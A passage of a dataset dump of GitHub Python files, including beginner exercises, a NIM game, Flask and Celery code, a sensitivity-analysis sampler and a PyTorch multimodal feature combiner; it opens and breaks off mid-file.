session.refresh(item)\n except IntegrityError as e:\n session.rollback()\n raise DuplicationError(f'{self.store_section_cls} already exists')\n finally:\n session.close()\n return item\n","repo_name":"johnmutuma5/flask_app","sub_path":"app/store/store_helper.py","file_name":"store_helper.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"34086160597","text":"class Mobile:\n model:str\n color:str\n brand:str\n price:int\n\n def __init__(self,model,color,brand,price):\n self.model=model\n self.color=color\n self.brand=brand\n self.price=price\n\n def dispaly_mobile_details(self):\n print(self.model,self.brand)\n\n\nobj1=Mobile(\"x2\",\"aquablue\",\"poco\",23333)\nobj1.dispaly_mobile_details()\n\n# intializing instance variable => constructor\n# java ,c++ => similiar to class name\n# javascript => constructor name is constructor()\n# python => __init__\n","repo_name":"Ebin5678/pythonluminarworks","sub_path":"pythonworks/oops/mobile.py","file_name":"mobile.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"13630964651","text":"\r\nimport csv\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom SALib.sample import saltelli\r\nfrom LHS import Statiscal\r\n\r\nlhs = Statiscal()\r\n\r\n# Global variables\r\n\r\nBLDG_COL_NAMES = ['area','ratio','height','abs','shading']\r\nROOM_COL_NAMES = ['wwr','open_fac','thermal_loads']\r\n\r\nSIMULATIONS = 30800\r\n\r\nVECTORS = 'vectors.csv'\r\n\r\ndef n_calc(D, type, simulations):\r\n # N calculator\r\n\r\n if type == 'bldg':\r\n\r\n cases = simulations\r\n\r\n elif type == 'room':\r\n\r\n cases = simulations*(1+2+3+4+5)*(1/5)*6\r\n\r\n N = cases/(D + 2)\r\n\r\n print (N)\r\n\r\n return int(N)\r\n\r\ndef csvToHash(vectors):\r\n # Reads the vectors file, and returns a dictionary with the values\r\n # of each vector, and the header\r\n\r\n firstTime = True\r\n i = 0\r\n possibleValues = {}\r\n csvFile = open(vectors, 'r')\r\n csvReader = csv.reader(csvFile, delimiter=',', quotechar='|')\r\n\r\n for row in csvReader:\r\n while i < len(row):\r\n if not firstTime:\r\n if row[i] not in possibleValues[i] and row[i] != \"\":\r\n possibleValues[i].append(row[i])\r\n else:\r\n headerCsv = row\r\n possibleValues[i] = []\r\n i += 1\r\n\r\n firstTime = False\r\n i = 0\r\n\r\n return (possibleValues,headerCsv)\r\n \r\ndef writeMappedValues(mappedValues, sample_file, headerCsv):\r\n newFile = open(sample_file, 'w', newline=\"\")\r\n csvWriter = csv.writer(newFile, delimiter=',', quotechar='|')\r\n\r\n csvWriter.writerow(headerCsv)\r\n\r\n for values in mappedValues:\r\n csvWriter.writerow(values)\r\n\r\nif __name__ == \"__main__\":\r\n\r\n # Define the model inputs\r\n\r\n bldg_problem = {\r\n 'num_vars': 5,\r\n 'names': BLDG_COL_NAMES,\r\n 'bounds': [[15, 80], # area\r\n [.4, 2.5], # ratio\r\n [2.4, 2.7], # height\r\n [0.2, .8], # abs\r\n [0, 1]] # shading\r\n }\r\n\r\n room_problem = {\r\n 'num_vars': 3,\r\n 'names': ROOM_COL_NAMES,\r\n 'bounds': [[0.1, .5], # wwr\r\n [0, 1], # open_fac\r\n [0, 1]], # thermal_loads\r\n }\r\n\r\n n_bldg = n_calc(bldg_problem['num_vars'], 'bldg', SIMULATIONS)\r\n n_room = n_calc(room_problem['num_vars'], 'room', SIMULATIONS)\r\n\r\n # Generate samples\r\n\r\n samples = [[bldg_problem,n_bldg],[room_problem,n_room]]\r\n\r\n for i in range(len(samples)):\r\n \r\n problem = samples[i][0]\r\n n = samples[i][1]\r\n\r\n param_values = saltelli.sample(problem, n, calc_second_order = False)\r\n\r\n df = pd.DataFrame(param_values, columns = problem['names'])\r\n\r\n # Save pandas' Data Frame to a .csv file\r\n df.to_csv(\"sample\"+str(i)+\".csv\", index=False)\r\n\r\n # LHS\r\n\r\n ReadCSV = csvToHash(VECTORS)\r\n\r\n possibleValues = ReadCSV[0]\r\n headerCsv = ReadCSV[1]\r\n\r\n lhd = lhs.lhsValues(possibleValues, SIMULATIONS)\r\n\r\n mappedValues = lhs.mapValues(lhd, possibleValues, SIMULATIONS)\r\n\r\n writeMappedValues(mappedValues, 'lhs_sample.csv', headerCsv)","repo_name":"marcelosalles/idf-creator","sub_path":"sa/sobol.py","file_name":"sobol.py","file_ext":"py","file_size_in_byte":3054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"12807768238","text":"from heapq import heappop, heappush\nN = int(input())\nlec = []\nQ = []\n\nfor i in range(N):\n lec.append(list(map(int, input().split())))\n\nlec.sort(key=lambda x : x[1])\n\nfor lecture in lec:\n heappush(Q, lecture[0])\n if len(Q) > lecture[1]:\n heappop(Q)\n \nprint(sum(Q))","repo_name":"HJinS/AlgorithmPractice","sub_path":"AlgorithmMiddle/Greedy/2109-re.py","file_name":"2109-re.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17814950304","text":"def computador_escolhe_jogada(n, m):\r\n if n <= m:\r\n return n\r\n else:\r\n pecas = n % (m+1)\r\n if pecas > 0:\r\n return pecas\r\n return m\r\n\r\n\r\ndef usuario_escolhe_jogada(n, m):\r\n pecas_remove = int(input(\"Quantas peças você vai tirar?\"))\r\n if pecas_remove <= m:\r\n return pecas_remove\r\n while pecas_remove > m:\r\n print(\"Oops! Jogada inválida! Tente de novo.\")\r\n pecas_remove = int(input(\"Quantas peças você vai tirar?\"))\r\n return pecas_remove\r\n\r\n\r\ndef partida():\r\n n = int(input(\"Quantas peças?\"))\r\n m = int(input(\"Limite de peças por jogada?\"))\r\n vezDoComputador = False\r\n if n % (m + 1) == 0:\r\n print(\"Você começa!\")\r\n else:\r\n print(\"Computador começa!\")\r\n vezDoComputador = True\r\n\r\n while n > 0:\r\n if vezDoComputador:\r\n pecaRemovida = computador_escolhe_jogada(n, m)\r\n vezDoComputador = False\r\n print(\"Computador tirou\", pecaRemovida, \"peças.\")\r\n else:\r\n pecaRemovida = usuario_escolhe_jogada(n, m)\r\n vezDoComputador = True\r\n print(\"Voce tirou\", pecaRemovida, \"peças.\")\r\n\r\n n = n - pecaRemovida\r\n print(\"Agora restam\", n, \"peças no tabuleiro.\")\r\n\r\n if n == 0:\r\n if vezDoComputador:\r\n print(\"Você ganhou!\")\r\n return 1\r\n else:\r\n print(\"Fim do jogo! O computador ganhou!\")\r\n return 0\r\n\r\n\r\ndef campeonato():\r\n jogador = 0\r\n computador = 0\r\n rodada = 1\r\n while rodada <= 3:\r\n print()\r\n print('**** Rodada', rodada, '****')\r\n print()\r\n vencedor = partida()\r\n if vencedor == 1:\r\n jogador = jogador + 1\r\n else:\r\n computador = computador + 1\r\n rodada += 1\r\n\r\n print(\"Você\", jogador, \"X\", \"Computador\", computador)\r\n\r\n\r\ndef bemVindo():\r\n print(\"\")\r\n print(\"Bem-vindo ao jogo do NIM! Escolha:\")\r\n print(\"1 - para jogar uma partida isolada \\n2 - para jogar um campeonato\")\r\n escolha = int(input(\"\"))\r\n if escolha == 1:\r\n partida()\r\n else:\r\n print(\"Você escolheu Campeonato\")\r\n campeonato()\r\n\r\n\r\nbemVindo()","repo_name":"VGTessaro/Studies_Projects","sub_path":"nim campeonato e partida unica.py","file_name":"nim campeonato e partida unica.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"34511177744","text":"#coding=utf-8\n#定义一个英雄基类\nclass HeroBase():\n #类变量,hp,power,类具有的属性\n hero_hp =\"\"\n hero_power = \"\"\n hero_name=\"\"\n\n #定义类的方法\n def fight(self,enemy_name,enemy_power,enemy_hp):\n\n \"\"\"\n\n :param enemy_power: 敌人的攻击力 ,\n :param enemy_hp: 敌人的血量\n :return:\n \"\"\"\n\n hero_final_hp=self.hero_hp - enemy_power\n enemy_final_hp=enemy_hp - self.hero_power\n if hero_final_hp > enemy_final_hp :\n print(f\"{self.hero_name}赢了\")\n elif hero_final_hp < enemy_final_hp :\n print(f\"{enemy_name}赢了\")\n else :\n print(\"打成平手\")\n#定义一个EZ英雄继承父类HeroBase的所有属性和方法\nclass EZ(HeroBase):\n hero_hp = 1100 #父类的属性重写\n hero_power = 190\n hero_name =\"EZ\"\n\n#定义一个Jinx英雄继承父类HeroBase的所有属性和方法\nclass Jinx(HeroBase):\n hero_hp = 1000\n hero_power = 210\n hero_name = \"Jinx\"\n\nclass Jenny(HeroBase):\n hero_hp = 1200\n hero_power = 850\n hero_name = \"jenny\"\n\n\n# ez=EZ() #EZ类实例化对象Ez\n# jinx=Jinx() #Jinx类实例化对象Jinx\n# ez.fight(\"Jinx\",Jinx.hero_hp,Jinx.hero_power) #在这里Jinx是敌人 ,引用类的属性\n\n\n\n\n\n\n","repo_name":"zjw-jw/task","sub_path":"python_pratise/task/hero.py","file_name":"hero.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"10893924791","text":"from ddtrace import config\n\nfrom ...internal.utils.formats import stringify_cache_args\nfrom ...pin import Pin\nfrom .util import _trace_redis_cmd\nfrom .util import _trace_redis_execute_pipeline\n\n\n#\n# tracing async functions\n#\nasync def traced_async_execute_command(func, instance, args, kwargs):\n pin = Pin.get_from(instance)\n if not pin or not pin.enabled():\n return await func(*args, **kwargs)\n\n with _trace_redis_cmd(pin, config.redis, instance, args):\n return await func(*args, **kwargs)\n\n\nasync def traced_async_execute_pipeline(func, instance, args, kwargs):\n pin = Pin.get_from(instance)\n if not pin or not pin.enabled():\n return await func(*args, **kwargs)\n\n cmds = [stringify_cache_args(c) for c, _ in instance.command_stack]\n resource = \"\\n\".join(cmds)\n with _trace_redis_execute_pipeline(pin, config.redis, resource, instance):\n return await func(*args, **kwargs)\n","repo_name":"Kyle-Verhoog/dd-trace-py-test","sub_path":"ddtrace/contrib/redis/asyncio_patch.py","file_name":"asyncio_patch.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"30973133886","text":"\nfrom celery import Celery\nfrom django.contrib.auth import get_user_model\n\nimport logging\n\napp = Celery('tasks', broker='redis://localhost:6379')\n\n\n@app.task\ndef update_users_info(user_id):\n user_model = get_user_model()\n user = user_model.objects.get(pk=user_id)\n user.name = \"test\"\n user.save()\n logging.warning(f\"celery task {user_id}\")\n","repo_name":"refringerator/neofly_test","sub_path":"accounts/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"34596902737","text":"\"\"\"\n4.\tWrite a program that accepts a comma-separated sequence of words\nas input and prints the words in a comma-separated sequence after sorting\nthem alphabetically. Suppose the following input is supplied to the program:\nwithout, hello, bag, world\nThen, the output should be: bag, hello, without, world\nAsk the user to enter a string, and check if it is a palindrome. If yes,\nprint True, or else print False.\n\nFunny example: Taco cat.\n\n\"\"\"\nuser_inp = input('Please enter a comma-separated list of words: ')\nword_seq = user_inp.replace(\" \",\"\").split(\",\") # Turn the string entered into a list of words\n\nword_seq_sort = sorted(word_seq, key=str.lower) # Sort words being mindful of case\nprint(\"Input list: \"+user_inp) # Display the input list of words\nprint(\"Sorted list: \"+(\", \".join(word_seq_sort))) # Display the sorted list of words\n\n\ninput_str = input(\"\\nPlease enter a string \")\norig = [] # List of characters in the order entered by user\nrev = [] # List of characters, order is reversed\nfor char in input_str: # Process characters one at a time, starting with the first one\n if char.isalpha(): # Only letters are of interest\n orig.append(char.lower()) # Build list of characters in the order entered\n rev.insert(0, char.lower()) # Build list of characters in reverse order\nprint(orig == rev) # Tell the user whether it's a palindrome","repo_name":"swlny/PythonGA","sub_path":"Exercise_2/sort_it.py","file_name":"sort_it.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"32018368269","text":"from flask import Blueprint, request\nfrom sqlalchemy import or_\n\nfrom backend.models import Contract, db\nfrom backend.serializers import ContractSchema, ContractGetRequest, ContractDelRequest, ContractPutRequest, \\\n ContractCascadeSchema\n\ncontract = Blueprint('contract', __name__)\n\n\n@contract.route(\"/\", methods=[\"GET\"])\ndef get():\n req = ContractGetRequest().load(request.get_json())\n\n contracts = Contract.query.filter(or_(Contract.id.in_(req.get(\"ids\")), Contract.supplier == req.get(\"supplier\"),\n Contract.buyer == req.get(\"buyer\"),\n Contract.serial_number == req.get(\"serial_number\"))).paginate(\n req.get(\"page_number\"), req.get(\"page_size\"))\n\n if req.get(\"cascade\"):\n contracts_data = ContractCascadeSchema().dump(contracts.items, many=True)\n else:\n contracts_data = ContractSchema().dump(contracts.items, many=True)\n\n res = {\n \"total\": contracts.total,\n \"page_number\": contracts.page,\n \"page_size\": contracts.per_page,\n \"data\": contracts_data\n }\n\n return res\n\n\n@contract.route(\"/\", methods=[\"POST\"])\ndef post():\n instance = ContractSchema().load(request.get_json())\n db.session.add(instance)\n return \"ok\"\n\n\n@contract.route(\"/\", methods=[\"PUT\", \"PATCH\"])\ndef put():\n partial = True if request.method == \"PATCH\" else False\n ContractPutRequest().load(request.get_json(), partial=partial)\n return \"ok\"\n\n\n@contract.route(\"/\", methods=[\"DELETE\"])\ndef delete():\n req = ContractDelRequest().load(request.get_json())\n Contract.query.filter(Contract.id.in_(req.get(\"ids\"))).delete(synchronize_session=False)\n return \"ok\"\n","repo_name":"zen-liutao/jinlun_delivery","sub_path":"backend/handlers/contract.py","file_name":"contract.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"37735613494","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\n\nfrom .layer_utils import calc_mlp_dims, create_act, glorot, zeros, MLP\n\n\nclass TabularFeatCombiner(nn.Module):\n r\"\"\"\n Combiner module for combining text features with categorical and numerical features\n The methods of combining, specified by :obj:`tabular_config.combine_feat_method` are shown below.\n :math:`\\mathbf{m}` denotes the combined multimodal features,\n :math:`\\mathbf{x}` denotes the output text features from the transformer,\n :math:`\\mathbf{c}` denotes the categorical features, :math:`\\mathbf{t}` denotes the numerical features,\n :math:`h_{\\mathbf{\\Theta}}` denotes a MLP parameterized by :math:`\\Theta`, :math:`W` denotes a weight matrix,\n and :math:`b` denotes a scalar bias\n\n - **text_only**\n\n .. math::\n \\mathbf{m} = \\mathbf{x}\n\n - **concat**\n\n .. math::\n \\mathbf{m} = \\mathbf{x} \\, \\Vert \\, \\mathbf{c} \\, \\Vert \\, \\mathbf{n}\n\n - **mlp_on_categorical_then_concat**\n\n .. math::\n \\mathbf{m} = \\mathbf{x} \\, \\Vert \\, h_{\\mathbf{\\Theta}}( \\mathbf{c}) \\, \\Vert \\, \\mathbf{n}\n\n - **individual_mlps_on_cat_and_numerical_feats_then_concat**\n\n .. math::\n \\mathbf{m} = \\mathbf{x} \\, \\Vert \\, h_{\\mathbf{\\Theta_c}}( \\mathbf{c}) \\, \\Vert \\, h_{\\mathbf{\\Theta_n}}(\\mathbf{n})\n\n - **mlp_on_concatenated_cat_and_numerical_feats_then_concat**\n\n .. math::\n \\mathbf{m} = \\mathbf{x} \\, \\Vert \\, h_{\\mathbf{\\Theta}}( \\mathbf{c} \\, \\Vert \\, \\mathbf{n})\n\n - **attention_on_cat_and_numerical_feats** self attention on the text features\n\n .. math::\n \\mathbf{m} = \\alpha_{x,x}\\mathbf{W}_x\\mathbf{x} + \\alpha_{x,c}\\mathbf{W}_c\\mathbf{c} + \\alpha_{x,n}\\mathbf{W}_n\\mathbf{n}\n\n where :math:`\\mathbf{W}_x` is of shape :obj:`(out_dim, text_feat_dim)`,\n :math:`\\mathbf{W}_c` is of shape :obj:`(out_dim, cat_feat_dim)`,\n :math:`\\mathbf{W}_n` is of shape :obj:`(out_dim, num_feat_dim)`, and the attention coefficients :math:`\\alpha_{i,j}` are computed as\n\n .. math::\n \\alpha_{i,j} =\n \\frac{\n \\exp\\left(\\mathrm{LeakyReLU}\\left(\\mathbf{a}^{\\top}\n [\\mathbf{W}_i\\mathbf{x}_i \\, \\Vert \\, \\mathbf{W}_j\\mathbf{x}_j]\n \\right)\\right)}\n {\\sum_{k \\in \\{ x, c, n \\}}\n \\exp\\left(\\mathrm{LeakyReLU}\\left(\\mathbf{a}^{\\top}\n [\\mathbf{W}_i\\mathbf{x}_i \\, \\Vert \\, \\mathbf{W}_k\\mathbf{x}_k]\n \\right)\\right)}.\n\n - **gating_on_cat_and_num_feats_then_sum** sum of features gated by text features. Inspired by the gating mechanism introduced in `Integrating Multimodal Information in Large Pretrained Transformers `_\n\n .. math::\n \\mathbf{m}= \\mathbf{x} + \\alpha\\mathbf{h}\n .. math::\n \\mathbf{h} = \\mathbf{g_c} \\odot (\\mathbf{W}_c\\mathbf{c}) + \\mathbf{g_n} \\odot (\\mathbf{W}_n\\mathbf{n}) + b_h\n .. math::\n \\alpha = \\mathrm{min}( \\frac{\\| \\mathbf{x} \\|_2}{\\| \\mathbf{h} \\|_2}*\\beta, 1)\n\n where :math:`\\beta` is a hyperparamter, :math:`\\mathbf{W}_c` is of shape :obj:`(out_dim, cat_feat_dim)`,\n :math:`\\mathbf{W}_n` is of shape :obj:`(out_dim, num_feat_dim)`. and the gating vector :math:`\\mathbf{g}_i` with activation function :math:`R` is defined as\n\n .. math::\n \\mathbf{g}_i = R(\\mathbf{W}_{gi}[\\mathbf{i} \\, \\Vert \\, \\mathbf{x}]+ b_i)\n\n where :math:`\\mathbf{W}_{gi}` is of shape :obj:`(out_dim, i_feat_dim + text_feat_dim)`\n\n - **weighted_feature_sum_on_transformer_cat_and_numerical_feats**\n\n .. math::\n \\mathbf{m} = \\mathbf{x} + \\mathbf{W}_{c'} \\odot \\mathbf{W}_c \\mathbf{c} + \\mathbf{W}_{n'} \\odot \\mathbf{W}_n \\mathbf{t}\n\n Parameters:\n tabular_config (:class:`~multimodal_config.TabularConfig`):\n Tabular model configuration class with all the parameters of the model.\n\n \"\"\"\n\n def __init__(self, tabular_config):\n super().__init__()\n self.combine_feat_method = tabular_config.combine_feat_method\n self.cat_feat_dim = tabular_config.cat_feat_dim\n self.numerical_feat_dim = tabular_config.numerical_feat_dim\n self.num_labels = tabular_config.num_labels\n self.numerical_bn = tabular_config.numerical_bn\n self.mlp_act = tabular_config.mlp_act\n self.mlp_dropout = tabular_config.mlp_dropout\n self.mlp_division = tabular_config.mlp_division\n self.text_out_dim = tabular_config.text_feat_dim\n self.tabular_config = tabular_config\n\n if self.numerical_bn and self.numerical_feat_dim > 0:\n self.num_bn = nn.BatchNorm1d(self.numerical_feat_dim)\n else:\n self.num_bn = None\n\n if self.combine_feat_method == \"text_only\":\n self.final_out_dim = self.text_out_dim\n elif self.combine_feat_method == \"concat\":\n self.final_out_dim = (\n self.text_out_dim + self.cat_feat_dim + self.numerical_feat_dim\n )\n elif self.combine_feat_method == \"mlp_on_categorical_then_concat\":\n assert self.cat_feat_dim != 0, \"dimension of cat feats should not be 0\"\n # reduce dim of categorical features to same of num dim or text dim if necessary\n output_dim = min(\n self.text_out_dim,\n max(\n self.numerical_feat_dim,\n self.cat_feat_dim // (self.mlp_division // 2),\n ),\n )\n dims = calc_mlp_dims(self.cat_feat_dim, self.mlp_division, output_dim)\n self.cat_mlp = MLP(\n self.cat_feat_dim,\n output_dim,\n act=self.mlp_act,\n num_hidden_lyr=len(dims),\n dropout_prob=self.mlp_dropout,\n hidden_channels=dims,\n return_layer_outs=False,\n bn=True,\n )\n self.final_out_dim = (\n self.text_out_dim + output_dim + self.numerical_feat_dim\n )\n elif (\n self.combine_feat_method\n == \"mlp_on_concatenated_cat_and_numerical_feats_then_concat\"\n ):\n assert self.cat_feat_dim != 0, \"dimension of cat feats should not be 0\"\n assert (\n self.numerical_feat_dim != 0\n ), \"dimension of numerical feats should not be 0\"\n output_dim = min(\n self.numerical_feat_dim, self.cat_feat_dim, self.text_out_dim\n )\n in_dim = self.cat_feat_dim + self.numerical_feat_dim\n dims = calc_mlp_dims(in_dim, self.mlp_division, output_dim)\n self.cat_and_numerical_mlp = MLP(\n in_dim,\n output_dim,\n act=self.mlp_act,\n num_hidden_lyr=len(dims),\n dropout_prob=self.mlp_dropout,\n hidden_channels=dims,\n return_layer_outs=False,\n bn=True,\n )\n self.final_out_dim = self.text_out_dim + output_dim\n elif (\n self.combine_feat_method\n == \"individual_mlps_on_cat_and_numerical_feats_then_concat\"\n ):\n output_dim_cat = 0\n if self.cat_feat_dim > 0:\n output_dim_cat = max(\n self.cat_feat_dim // (self.mlp_division // 2),\n self.numerical_feat_dim,\n )\n dims = calc_mlp_dims(\n self.cat_feat_dim, self.mlp_division, output_dim_cat\n )\n self.cat_mlp = MLP(\n self.cat_feat_dim,\n output_dim_cat,\n act=self.mlp_act,\n num_hidden_lyr=len(dims),\n dropout_prob=self.mlp_dropout,\n hidden_channels=dims,\n return_layer_outs=False,\n bn=True,\n )\n\n output_dim_num = 0\n if self.numerical_feat_dim > 0:\n output_dim_num = self.numerical_feat_dim // (self.mlp_division // 2)\n self.num_mlp = MLP(\n self.numerical_feat_dim,\n output_dim_num,\n act=self.mlp_act,\n dropout_prob=self.mlp_dropout,\n num_hidden_lyr=1,\n return_layer_outs=False,\n bn=True,\n )\n self.final_out_dim = self.text_out_dim + output_dim_num + output_dim_cat\n elif (\n self.combine_feat_method\n == \"weighted_feature_sum_on_transformer_cat_and_numerical_feats\"\n ):\n assert (\n self.cat_feat_dim + self.numerical_feat_dim != 0\n ), \"should have some non text features\"\n if self.cat_feat_dim > 0:\n output_dim_cat = self.text_out_dim\n if self.cat_feat_dim > self.text_out_dim:\n dims = calc_mlp_dims(\n self.cat_feat_dim,\n division=self.mlp_division,\n output_dim=output_dim_cat,\n )\n self.cat_layer = MLP(\n self.cat_feat_dim,\n output_dim_cat,\n act=self.mlp_act,\n num_hidden_lyr=len(dims),\n dropout_prob=self.mlp_dropout,\n hidden_channels=dims,\n return_layer_outs=False,\n bn=True,\n )\n else:\n self.cat_layer = nn.Linear(self.cat_feat_dim, output_dim_cat)\n self.dropout_cat = nn.Dropout(self.mlp_dropout)\n self.weight_cat = nn.Parameter(torch.rand(output_dim_cat))\n if self.numerical_feat_dim > 0:\n output_dim_num = self.text_out_dim\n if self.numerical_feat_dim > self.text_out_dim:\n dims = calc_mlp_dims(\n self.numerical_feat_dim,\n division=self.mlp_division,\n output_dim=output_dim_num,\n )\n self.num_layer = MLP(\n self.numerical_feat_dim,\n output_dim_num,\n act=self.mlp_act,\n num_hidden_lyr=len(dims),\n dropout_prob=self.mlp_dropout,\n hidden_channels=dims,\n return_layer_outs=False,\n bn=True,\n )\n else:\n self.num_layer = nn.Linear(self.numerical_feat_dim, output_dim_num)\n self.dropout_num = nn.Dropout(self.mlp_dropout)\n self.weight_num = nn.Parameter(torch.rand(output_dim_num))\n\n self.act_func = create_act(self.mlp_act)\n self.layer_norm = nn.LayerNorm(self.text_out_dim)\n self.final_dropout = nn.Dropout(tabular_config.hidden_dropout_prob)\n self.final_out_dim = self.text_out_dim\n\n elif self.combine_feat_method == \"attention_on_cat_and_numerical_feats\":\n assert (\n self.cat_feat_dim + self.numerical_feat_dim != 0\n ), \"should have some non-text features for this method\"\n\n output_dim = self.text_out_dim\n if self.cat_feat_dim > 0:\n if self.cat_feat_dim > self.text_out_dim:\n output_dim_cat = self.text_out_dim\n dims = calc_mlp_dims(\n self.cat_feat_dim,\n division=self.mlp_division,\n output_dim=output_dim_cat,\n )\n self.cat_mlp = MLP(\n self.cat_feat_dim,\n output_dim_cat,\n num_hidden_lyr=len(dims),\n dropout_prob=self.mlp_dropout,\n return_layer_outs=False,\n hidden_channels=dims,\n bn=True,\n )\n else:\n output_dim_cat = self.cat_feat_dim\n self.weight_cat = nn.Parameter(torch.rand((output_dim_cat, output_dim)))\n self.bias_cat = nn.Parameter(torch.zeros(output_dim))\n\n if self.numerical_feat_dim > 0:\n if self.numerical_feat_dim > self.text_out_dim:\n output_dim_num = self.text_out_dim\n dims = calc_mlp_dims(\n self.numerical_feat_dim,\n division=self.mlp_division,\n output_dim=output_dim_num,\n )\n self.num_mlp = MLP(\n self.numerical_feat_dim,\n output_dim_num,\n num_hidden_lyr=len(dims),\n dropout_prob=self.mlp_dropout,\n return_layer_outs=False,\n hidden_channels=dims,\n bn=True,\n )\n else:\n output_dim_num = self.numerical_feat_dim\n self.weight_num = nn.Parameter(torch.rand((output_dim_num, output_dim)))\n self.bias_num = nn.Parameter(torch.zeros(output_dim))\n\n self.weight_transformer = nn.Parameter(\n torch.rand(self.text_out_dim, output_dim)\n )\n self.weight_a = nn.Parameter(torch.rand((1, output_dim + output_dim)))\n self.bias_transformer = nn.Parameter(torch.rand(output_dim))\n self.bias = nn.Parameter(torch.zeros(output_dim))\n self.negative_slope = 0.2\n self.final_out_dim = output_dim\n self.__reset_parameters()\n elif self.combine_feat_method == \"gating_on_cat_and_num_feats_then_sum\":\n self.act_func = create_act(self.mlp_act)\n if self.cat_feat_dim > 0:\n if self.cat_feat_dim > self.text_out_dim:\n dims = calc_mlp_dims(\n self.numerical_feat_dim,\n division=self.mlp_division,\n output_dim=self.text_out_dim,\n )\n self.cat_layer = MLP(\n self.cat_feat_dim,\n self.text_out_dim,\n act=self.mlp_act,\n num_hidden_lyr=len(dims),\n dropout_prob=self.mlp_dropout,\n hidden_channels=dims,\n return_layer_outs=False,\n bn=True,\n )\n self.g_cat_layer = nn.Linear(\n self.text_out_dim + min(self.text_out_dim, self.cat_feat_dim),\n self.text_out_dim,\n )\n self.dropout_cat = nn.Dropout(self.mlp_dropout)\n self.h_cat_layer = nn.Linear(\n min(self.text_out_dim, self.cat_feat_dim),\n self.text_out_dim,\n bias=False,\n )\n if self.numerical_feat_dim > 0:\n if self.numerical_feat_dim > self.text_out_dim:\n dims = calc_mlp_dims(\n self.numerical_feat_dim,\n division=self.mlp_division,\n output_dim=self.text_out_dim,\n )\n self.num_layer = MLP(\n self.numerical_feat_dim,\n self.text_out_dim,\n act=self.mlp_act,\n num_hidden_lyr=len(dims),\n dropout_prob=self.mlp_dropout,\n hidden_channels=dims,\n return_layer_outs=False,\n bn=True,\n )\n self.g_num_layer = nn.Linear(\n min(self.numerical_feat_dim, self.text_out_dim) + self.text_out_dim,\n self.text_out_dim,\n )\n self.dropout_num = nn.Dropout(self.mlp_dropout)\n self.h_num_layer = nn.Linear(\n min(self.text_out_dim, self.numerical_feat_dim),\n self.text_out_dim,\n bias=False,\n )\n self.h_bias = nn.Parameter(torch.zeros(self.text_out_dim))\n self.layer_norm = nn.LayerNorm(self.text_out_dim)\n self.final_out_dim = self.text_out_dim\n else:\n raise ValueError(\n f\"combine_feat_method {self.combine_feat_method} \" f\"not implemented\"\n )\n\n def forward(self, text_feats, cat_feats=None, numerical_feats=None):\n \"\"\"\n Args:\n text_feats (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, text_out_dim)`):\n The tensor of text features. This is assumed to be the output from a HuggingFace transformer model\n cat_feats (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, cat_feat_dim)`, `optional`, defaults to :obj:`None`)):\n The tensor of categorical features\n numerical_feats (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, numerical_feat_dim)`, `optional`, defaults to :obj:`None`):\n The tensor of numerical features\n Returns:\n :obj:`torch.FloatTensor` of shape :obj:`(batch_size, final_out_dim)`:\n A tensor representing the combined features\n\n \"\"\"\n if cat_feats is None:\n cat_feats = torch.zeros((text_feats.shape[0], 0)).to(text_feats.device)\n if numerical_feats is None:\n numerical_feats = torch.zeros((text_feats.shape[0], 0)).to(\n text_feats.device\n )\n\n if self.numerical_bn and self.numerical_feat_dim != 0:\n numerical_feats = self.num_bn(numerical_feats)\n\n if self.combine_feat_method == \"text_only\":\n combined_feats = text_feats\n if self.combine_feat_method == \"concat\":\n combined_feats = torch.cat((text_feats, cat_feats, numerical_feats), dim=1)\n elif self.combine_feat_method == \"mlp_on_categorical_then_concat\":\n cat_feats = self.cat_mlp(cat_feats)\n combined_feats = torch.cat((text_feats, cat_feats, numerical_feats), dim=1)\n elif (\n self.combine_feat_method\n == \"mlp_on_concatenated_cat_and_numerical_feats_then_concat\"\n ):\n tabular_feats = torch.cat((cat_feats, numerical_feats), dim=1)\n tabular_feats = self.cat_and_numerical_mlp(tabular_feats)\n combined_feats = torch.cat((text_feats, tabular_feats), dim=1)\n elif (\n self.combine_feat_method\n == \"individual_mlps_on_cat_and_numerical_feats_then_concat\"\n ):\n if cat_feats.shape[1] != 0:\n cat_feats = self.cat_mlp(cat_feats)\n if numerical_feats.shape[1] != 0:\n numerical_feats = self.num_mlp(numerical_feats)\n combined_feats = torch.cat((text_feats, cat_feats, numerical_feats), dim=1)\n elif (\n self.combine_feat_method\n == \"weighted_feature_sum_on_transformer_cat_and_numerical_feats\"\n ):\n if cat_feats.shape[1] != 0:\n cat_feats = self.dropout_cat(self.cat_layer(cat_feats))\n cat_feats = self.weight_cat.expand_as(cat_feats) * cat_feats\n else:\n cat_feats = 0\n\n if numerical_feats.shape[1] != 0:\n numerical_feats = self.dropout_num(self.num_layer(numerical_feats))\n numerical_feats = (\n self.weight_num.expand_as(numerical_feats) * numerical_feats\n )\n else:\n numerical_feats = 0\n combined_feats = text_feats + cat_feats + numerical_feats\n elif self.combine_feat_method == 